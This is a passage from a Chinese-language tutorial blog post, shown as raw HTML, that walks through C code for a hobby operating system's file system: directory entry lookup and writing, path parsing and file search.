&#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> block_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span> (block_idx &lt; <span class="number">12</span>) &#123;</span><br><span class="line">      all_blocks[block_idx] = pdir-&gt;inode-&gt;i_sectors[block_idx];</span><br><span class="line">      block_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">   block_idx = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (pdir-&gt;inode-&gt;i_sectors[<span class="number">12</span>] != <span class="number">0</span>) &#123;<span class="comment">// 若含有一级间接块表</span></span><br><span class="line">      ide_read(part-&gt;my_disk, pdir-&gt;inode-&gt;i_sectors[<span class="number">12</span>], all_blocks + <span class="number">12</span>, <span class="number">1</span>);</span><br><span class="line">   &#125;</span><br><span class="line"><span class="comment">/* 至此,all_blocks存储的是该文件或目录的所有扇区地址 */</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 写目录项的时候已保证目录项不跨扇区,</span></span><br><span class="line"><span class="comment">    * 这样读目录项时容易处理, 只申请容纳1个扇区的内存 */</span></span><br><span class="line">   <span class="keyword">uint8_t</span>* buf = (<span class="keyword">uint8_t</span>*)sys_malloc(SECTOR_SIZE);</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span>* <span class="title">p_de</span> = (<span class="title">struct</span> <span class="title">dir_entry</span>*)<span class="title">buf</span>;</span>    <span class="comment">// p_de为指向目录项的指针,值为buf起始地址</span></span><br><span class="line">   <span class="keyword">uint32_t</span> dir_entry_size = part-&gt;sb-&gt;dir_entry_size;</span><br><span class="line">   <span class="keyword">uint32_t</span> dir_entry_cnt = SECTOR_SIZE / dir_entry_size;   <span class="comment">// 1扇区内可容纳的目录项个数</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 开始在所有块中查找目录项 */</span></span><br><span class="line">   <span class="keyword">while</span> (block_idx &lt; block_cnt) &#123;  </span><br><span class="line">   <span class="comment">/* 块地址为0时表示该块中无数据,继续在其它块中找 */</span></span><br><span class="line">      <span class="keyword">if</span> (all_blocks[block_idx] == <span class="number">0</span>) &#123;</span><br><span class="line"> block_idx++;</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      ide_read(part-&gt;my_disk, all_blocks[block_idx], buf, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">uint32_t</span> dir_entry_idx = <span class="number">0</span>;</span><br><span class="line">      <span class="comment">/* 遍历扇区中所有目录项 */</span></span><br><span class="line">      <span class="keyword">while</span> (dir_entry_idx &lt; dir_entry_cnt) &#123;</span><br><span class="line"> <span class="comment">/* 若找到了,就直接复制整个目录项 */</span></span><br><span class="line"> <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(p_de-&gt;filename, name)) &#123;</span><br><span class="line">    <span class="built_in">memcpy</span>(dir_e, p_de, dir_entry_size);</span><br><span class="line">    sys_free(buf);</span><br><span class="line">    sys_free(all_blocks);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> dir_entry_idx++;</span><br><span class="line"> p_de++;</span><br><span class="line">      &#125;</span><br><span class="line">      block_idx++;</span><br><span class="line">      p_de = (struct dir_entry*)buf;  <span class="comment">// 此时p_de已经指向扇区内最后一个完整目录项了,需要恢复p_de指向为buf</span></span><br><span class="line">      <span class="built_in">memset</span>(buf, <span class="number">0</span>, SECTOR_SIZE);  <span class="comment">// 将buf清0,下次再用</span></span><br><span class="line">   &#125;</span><br><span class="line">   sys_free(buf);</span><br><span class="line">   sys_free(all_blocks);</span><br><span class="line">   <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接下来的两个函数负责关闭目录和初始化目录项，需要注意的是根目录不能关闭</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 关闭目录 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">dir_close</span><span class="params">(struct dir* dir)</span> </span>&#123;</span><br><span class="line"><span class="comment">/*************      根目录不能关闭     ***************</span></span><br><span class="line"><span class="comment"> *1 根目录自打开后就不应该关闭,否则还需要再次open_root_dir();</span></span><br><span class="line"><span class="comment"> *2 root_dir所在的内存是低端1M之内,并非在堆中,free会出问题 */</span></span><br><span class="line">   <span class="keyword">if</span> (dir == &amp;root_dir) &#123;</span><br><span class="line">   <span class="comment">/* 不做任何处理直接返回*/</span></span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   inode_close(dir-&gt;inode);</span><br><span class="line">   sys_free(dir);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在内存中初始化目录项p_de */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">create_dir_entry</span><span class="params">(<span class="keyword">char</span>* filename, <span class="keyword">uint32_t</span> inode_no, <span class="keyword">uint8_t</span> file_type, struct dir_entry* p_de)</span> </span>&#123;</span><br><span class="line">   ASSERT(<span class="built_in">strlen</span>(filename) &lt;=  MAX_FILE_NAME_LEN);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 初始化目录项 */</span></span><br><span class="line">   <span class="built_in">memcpy</span>(p_de-&gt;filename, filename, <span class="built_in">strlen</span>(filename));</span><br><span class="line">   p_de-&gt;i_no = inode_no;</span><br><span class="line">   p_de-&gt;f_type = file_type;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后这个函数负责将目录项p_de写入父目录parent_dir中，io_buf由主调函数提供</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 将目录项p_de写入父目录parent_dir中,io_buf由主调函数提供 */</span></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">sync_dir_entry</span><span class="params">(struct dir* parent_dir, struct dir_entry* p_de, <span class="keyword">void</span>* io_buf)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span>* <span class="title">dir_inode</span> = <span class="title">parent_dir</span>-&gt;<span class="title">inode</span>;</span></span><br><span class="line">   <span class="keyword">uint32_t</span> dir_size = dir_inode-&gt;i_size;</span><br><span class="line">   <span class="keyword">uint32_t</span> dir_entry_size = cur_part-&gt;sb-&gt;dir_entry_size;</span><br><span class="line"></span><br><span class="line">   ASSERT(dir_size % dir_entry_size == <span class="number">0</span>); <span class="comment">// dir_size应该是dir_entry_size的整数倍</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> dir_entrys_per_sec = (<span class="number">512</span> / dir_entry_size);       <span class="comment">// 每扇区最大的目录项数目</span></span><br><span class="line">   <span class="keyword">int32_t</span> block_lba = <span class="number">-1</span>;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 将该目录的所有扇区地址(12个直接块+ 128个间接块)存入all_blocks */</span></span><br><span class="line">   <span class="keyword">uint8_t</span> block_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> all_blocks[<span class="number">140</span>] = &#123;<span class="number">0</span>&#125;;  <span class="comment">// all_blocks保存目录所有的块</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 将12个直接块存入all_blocks */</span></span><br><span class="line">   <span class="keyword">while</span> (block_idx &lt; <span class="number">12</span>) &#123;</span><br><span class="line">      all_blocks[block_idx] = dir_inode-&gt;i_sectors[block_idx];</span><br><span class="line">      block_idx++;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span>* <span class="title">dir_e</span> = (<span class="title">struct</span> <span class="title">dir_entry</span>*)<span class="title">io_buf</span>;</span>       <span class="comment">// dir_e用来在io_buf中遍历目录项</span></span><br><span class="line">   <span class="keyword">int32_t</span> block_bitmap_idx = <span class="number">-1</span>;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 开始遍历所有块以寻找目录项空位,若已有扇区中没有空闲位,</span></span><br><span class="line"><span class="comment">    * 在不超过文件大小的情况下申请新扇区来存储新目录项 */</span></span><br><span class="line">   block_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span> (block_idx &lt; <span class="number">140</span>) &#123;  <span class="comment">// 文件(包括目录)最大支持12个直接块+128个间接块＝140个块</span></span><br><span class="line">      block_bitmap_idx = <span class="number">-1</span>;</span><br><span class="line">      <span class="keyword">if</span> (all_blocks[block_idx] == <span class="number">0</span>) &#123;   <span class="comment">// 在三种情况下分配块</span></span><br><span class="line"> block_lba = block_bitmap_alloc(cur_part);</span><br><span class="line"> <span class="keyword">if</span> (block_lba == <span class="number">-1</span>) &#123;</span><br><span class="line">    printk(<span class="string">"alloc block bitmap for sync_dir_entry failed\n"</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 每分配一个块就同步一次block_bitmap */</span></span><br><span class="line"> block_bitmap_idx = block_lba - cur_part-&gt;sb-&gt;data_start_lba;</span><br><span class="line"> ASSERT(block_bitmap_idx != <span class="number">-1</span>);</span><br><span class="line"> bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);</span><br><span class="line"></span><br><span class="line"> block_bitmap_idx = <span class="number">-1</span>;</span><br><span class="line"> <span class="keyword">if</span> (block_idx &lt; <span class="number">12</span>) &#123;    <span class="comment">// 若是直接块</span></span><br><span class="line">    dir_inode-&gt;i_sectors[block_idx] = all_blocks[block_idx] = block_lba;</span><br><span class="line"> &#125; <span class="keyword">else</span> <span class="keyword">if</span> (block_idx == <span class="number">12</span>) &#123;  <span class="comment">// 若是尚未分配一级间接块表(block_idx等于12表示第0个间接块地址为0)</span></span><br><span class="line">    dir_inode-&gt;i_sectors[<span class="number">12</span>] = block_lba;       <span class="comment">// 将上面分配的块做为一级间接块表地址</span></span><br><span class="line">    block_lba = <span class="number">-1</span>;</span><br><span class="line">    block_lba = block_bitmap_alloc(cur_part);       <span class="comment">// 再分配一个块做为第0个间接块</span></span><br><span class="line">    <span class="keyword">if</span> (block_lba == <span class="number">-1</span>) &#123;</span><br><span class="line">       block_bitmap_idx = dir_inode-&gt;i_sectors[<span class="number">12</span>] - cur_part-&gt;sb-&gt;data_start_lba;</span><br><span class="line">       bitmap_set(&amp;cur_part-&gt;block_bitmap, block_bitmap_idx, <span class="number">0</span>);</span><br><span class="line">       dir_inode-&gt;i_sectors[<span class="number">12</span>] = <span class="number">0</span>;</span><br><span class="line">       printk(<span class="string">"alloc block bitmap for sync_dir_entry failed\n"</span>);</span><br><span class="line">       <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 每分配一个块就同步一次block_bitmap */</span></span><br><span class="line">    block_bitmap_idx = block_lba - cur_part-&gt;sb-&gt;data_start_lba;</span><br><span class="line">    ASSERT(block_bitmap_idx != <span class="number">-1</span>);</span><br><span class="line">    bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);</span><br><span class="line"></span><br><span class="line">    all_blocks[<span class="number">12</span>] = block_lba;</span><br><span class="line">    <span class="comment">/* 把新分配的第0个间接块地址写入一级间接块表 */</span></span><br><span class="line">    ide_write(cur_part-&gt;my_disk, dir_inode-&gt;i_sectors[<span class="number">12</span>], all_blocks + <span class="number">12</span>, <span class="number">1</span>);</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;   <span class="comment">// 若是间接块未分配</span></span><br><span class="line">    all_blocks[block_idx] = block_lba;</span><br><span class="line">    <span class="comment">/* 把新分配的第(block_idx-12)个间接块地址写入一级间接块表 */</span></span><br><span class="line">    ide_write(cur_part-&gt;my_disk, dir_inode-&gt;i_sectors[<span class="number">12</span>], all_blocks + <span class="number">12</span>, <span class="number">1</span>);</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 再将新目录项p_de写入新分配的间接块 */</span></span><br><span class="line"> <span class="built_in">memset</span>(io_buf, <span class="number">0</span>, <span class="number">512</span>);</span><br><span class="line"> <span class="built_in">memcpy</span>(io_buf, p_de, dir_entry_size);</span><br><span class="line"> ide_write(cur_part-&gt;my_disk, all_blocks[block_idx], io_buf, <span class="number">1</span>);</span><br><span class="line"> dir_inode-&gt;i_size += dir_entry_size;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 若第block_idx块已存在,将其读进内存,然后在该块中查找空目录项 */</span></span><br><span class="line">      ide_read(cur_part-&gt;my_disk, all_blocks[block_idx], io_buf, <span class="number">1</span>); </span><br><span class="line">      <span class="comment">/* 在扇区内查找空目录项 */</span></span><br><span class="line">      <span class="keyword">uint8_t</span> dir_entry_idx = <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">while</span> (dir_entry_idx &lt; dir_entrys_per_sec) &#123;</span><br><span class="line"> <span class="keyword">if</span> ((dir_e + dir_entry_idx)-&gt;f_type == FT_UNKNOWN) &#123;<span class="comment">// FT_UNKNOWN为0,无论是初始化或是删除文件后,都会将f_type置为FT_UNKNOWN.</span></span><br><span class="line">    <span class="built_in">memcpy</span>(dir_e + dir_entry_idx, p_de, dir_entry_size);    </span><br><span class="line">    ide_write(cur_part-&gt;my_disk, all_blocks[block_idx], io_buf, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">    dir_inode-&gt;i_size += dir_entry_size;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> dir_entry_idx++;</span><br><span class="line">      &#125;</span><br><span class="line">      block_idx++;</span><br><span class="line">   &#125;   </span><br><span class="line">   printk(<span class="string">"directory is full!\n"</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="路径解析相关函数"><a href="#路径解析相关函数" class="headerlink" title="路径解析相关函数"></a>路径解析相关函数</h2><p>路及解析就是把路径按照路径分隔符拆分成多层文件名，逐层在磁盘上查找以确认文件名是否存在，如<code>/a/b/c</code>拆分为<code>a</code>，<code>b</code>，<code>c</code>。下面的代码比较好理解，就不多解释了</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 将最上层路径名称解析出来 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">char</span>* <span class="title">path_parse</span><span class="params">(<span class="keyword">char</span>* pathname, <span class="keyword">char</span>* name_store)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">if</span> (pathname[<span class="number">0</span>] == <span class="string">'/'</span>) &#123;   <span class="comment">// 根目录不需要单独解析</span></span><br><span class="line">    <span class="comment">/* 路径中出现1个或多个连续的字符'/',将这些'/'跳过,如"///a/b" */</span></span><br><span class="line">       <span class="keyword">while</span>(*(++pathname) == <span class="string">'/'</span>);</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 开始一般的路径解析 */</span></span><br><span class="line">   <span class="keyword">while</span> (*pathname != <span class="string">'/'</span> &amp;&amp; *pathname != <span class="number">0</span>) &#123;</span><br><span class="line">      *name_store++ = *pathname++;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (pathname[<span class="number">0</span>] == <span class="number">0</span>) &#123;   <span class="comment">// 若路径字符串为空则返回NULL</span></span><br><span class="line">      <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> pathname; </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 返回路径深度,比如/a/b/c,深度为3 */</span></span><br><span class="line"><span class="keyword">int32_t</span> path_depth_cnt(<span class="keyword">char</span>* pathname) &#123;</span><br><span class="line">   ASSERT(pathname != <span class="literal">NULL</span>);</span><br><span class="line">   <span class="keyword">char</span>* p = pathname;</span><br><span class="line">   <span class="keyword">char</span> name[MAX_FILE_NAME_LEN];       <span class="comment">// 用于path_parse的参数做路径解析</span></span><br><span class="line">   <span class="keyword">uint32_t</span> depth = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 解析路径,从中拆分出各级名称 */</span> </span><br><span class="line">   p = path_parse(p, name);</span><br><span class="line">   <span class="keyword">while</span> (name[<span class="number">0</span>]) &#123;</span><br><span class="line">      depth++;</span><br><span class="line">      <span class="built_in">memset</span>(name, <span class="number">0</span>, MAX_FILE_NAME_LEN);</span><br><span class="line">      <span class="keyword">if</span> (p) &#123;     <span class="comment">// 如果p不等于NULL,继续分析路径</span></span><br><span class="line">p  = path_parse(p, name);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> depth;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实现文件检索功能"><a href="#实现文件检索功能" class="headerlink" title="实现文件检索功能"></a>实现文件检索功能</h2><p>文件检索主要负责判断文件是否存在，判断文件同名的这种情况，下面是fs中更新的一些结构体，path_search_record负责查找文件过程中已经处理过的上级路径，比如查找<code>/a/b/c</code>若找不到的话就需要知道是c不存在还是上级目录a和b不存在，若c不存在searched_path值就为<code>/a/b/c</code>，若b不存在searched_path的值就为<code>/a/b</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MAX_PATH_LEN 512    <span class="comment">// 路径最大长度</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 文件类型 */</span></span><br><span class="line"><span class="keyword">enum</span> file_types &#123;</span><br><span class="line">   FT_UNKNOWN,  <span class="comment">// 不支持的文件类型</span></span><br><span class="line">   FT_REGULAR,  <span class="comment">// 普通文件</span></span><br><span class="line">   FT_DIRECTORY  <span class="comment">// 目录</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 打开文件的选项 */</span></span><br><span class="line"><span class="keyword">enum</span> oflags &#123;</span><br><span class="line">   O_RDONLY,  <span class="comment">// 只读</span></span><br><span class="line">   O_WRONLY,  <span class="comment">// 只写</span></span><br><span class="line">   O_RDWR,  <span class="comment">// 读写</span></span><br><span class="line">   O_CREAT = <span class="number">4</span>  <span class="comment">// 创建</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 用来记录查找文件过程中已找到的上级路径,也就是查找文件过程中"走过的地方" */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">path_search_record</span> &#123;</span></span><br><span class="line">   <span class="keyword">char</span> searched_path[MAX_PATH_LEN];    <span class="comment">// 查找过程中的父路径</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir</span>* <span class="title">parent_dir</span>;</span>    <span class="comment">// 文件或目录所在的直接父目录</span></span><br><span class="line">   <span class="keyword">enum</span> file_types file_type;    <span class="comment">// 找到的是普通文件还是目录,找不到将为未知类型(FT_UNKNOWN)</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>下面是具体实现</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 搜索文件pathname,若找到则返回其inode号,否则返回-1 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">search_file</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span>* pathname, struct path_search_record* searched_record)</span> </span>&#123;</span><br><span class="line">   <span class="comment">/* 如果待查找的是根目录,为避免下面无用的查找,直接返回已知根目录信息 */</span></span><br><span class="line">   <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(pathname, <span class="string">"/"</span>) || !<span class="built_in">strcmp</span>(pathname, <span class="string">"/."</span>) || !<span class="built_in">strcmp</span>(pathname, <span class="string">"/.."</span>)) &#123;</span><br><span class="line">      searched_record-&gt;parent_dir = &amp;root_dir;</span><br><span class="line">      searched_record-&gt;file_type = FT_DIRECTORY;</span><br><span class="line">      searched_record-&gt;searched_path[<span class="number">0</span>] = <span class="number">0</span>;   <span class="comment">// 搜索路径置空</span></span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> path_len = <span class="built_in">strlen</span>(pathname);</span><br><span class="line">   <span class="comment">/* 保证pathname至少是这样的路径/x且小于最大长度 */</span></span><br><span class="line">   ASSERT(pathname[<span class="number">0</span>] == <span class="string">'/'</span> &amp;&amp; path_len &gt; <span class="number">1</span> &amp;&amp; path_len &lt; MAX_PATH_LEN);</span><br><span class="line">   <span class="keyword">char</span>* sub_path = (<span class="keyword">char</span>*)pathname;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir</span>* <span class="title">parent_dir</span> = &amp;<span class="title">root_dir</span>;</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span> <span class="title">dir_e</span>;</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 记录路径解析出来的各级名称,如路径"/a/b/c",</span></span><br><span class="line"><span class="comment">    * 数组name每次的值分别是"a","b","c" */</span></span><br><span class="line">   <span class="keyword">char</span> name[MAX_FILE_NAME_LEN] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line"></span><br><span class="line">   searched_record-&gt;parent_dir = parent_dir;</span><br><span class="line">   searched_record-&gt;file_type = FT_UNKNOWN;</span><br><span class="line">   <span class="keyword">uint32_t</span> parent_inode_no = <span class="number">0</span>;  <span class="comment">// 父目录的inode号</span></span><br><span class="line">   </span><br><span class="line">   sub_path = path_parse(sub_path, name); <span class="comment">// 开始路径解析</span></span><br><span class="line">   <span class="keyword">while</span> (name[<span class="number">0</span>]) &#123;   <span class="comment">// 若第一个字符就是结束符,结束循环</span></span><br><span class="line">      <span class="comment">/* 记录查找过的路径,但不能超过searched_path的长度512字节 */</span></span><br><span class="line">      ASSERT(<span class="built_in">strlen</span>(searched_record-&gt;searched_path) &lt; <span class="number">512</span>);</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 记录已存在的父目录 */</span></span><br><span class="line">      <span class="built_in">strcat</span>(searched_record-&gt;searched_path, <span class="string">"/"</span>);</span><br><span class="line">      <span class="built_in">strcat</span>(searched_record-&gt;searched_path, name);</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 在所给的目录中查找文件 */</span></span><br><span class="line">      <span class="keyword">if</span> (search_dir_entry(cur_part, parent_dir, name, &amp;dir_e)) &#123;</span><br><span class="line"> <span class="built_in">memset</span>(name, <span class="number">0</span>, MAX_FILE_NAME_LEN);</span><br><span class="line"> <span class="comment">/* 若sub_path不等于NULL,也就是未结束时继续拆分路径 */</span></span><br><span class="line"> <span class="keyword">if</span> (sub_path) &#123;</span><br><span class="line">    sub_path = path_parse(sub_path, name);</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (FT_DIRECTORY == dir_e.f_type) &#123;   <span class="comment">// 如果被打开的是目录</span></span><br><span class="line">    parent_inode_no = parent_dir-&gt;inode-&gt;i_no;</span><br><span class="line">    dir_close(parent_dir);</span><br><span class="line">    parent_dir = dir_open(cur_part, dir_e.i_no); <span class="comment">// 更新父目录</span></span><br><span class="line">    searched_record-&gt;parent_dir = parent_dir;</span><br><span class="line">    <span class="keyword">continue</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> <span class="keyword">if</span> (FT_REGULAR == dir_e.f_type) &#123; <span class="comment">// 若是普通文件</span></span><br><span class="line">    searched_record-&gt;file_type = FT_REGULAR;</span><br><span class="line">    <span class="keyword">return</span> dir_e.i_no;</span><br><span class="line"> &#125;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;   <span class="comment">//若找不到,则返回-1</span></span><br><span class="line"> <span class="comment">/* 找不到目录项时,要留着parent_dir不要关闭,</span></span><br><span class="line"><span class="comment">  * 若是创建新文件的话需要在parent_dir中创建 */</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span 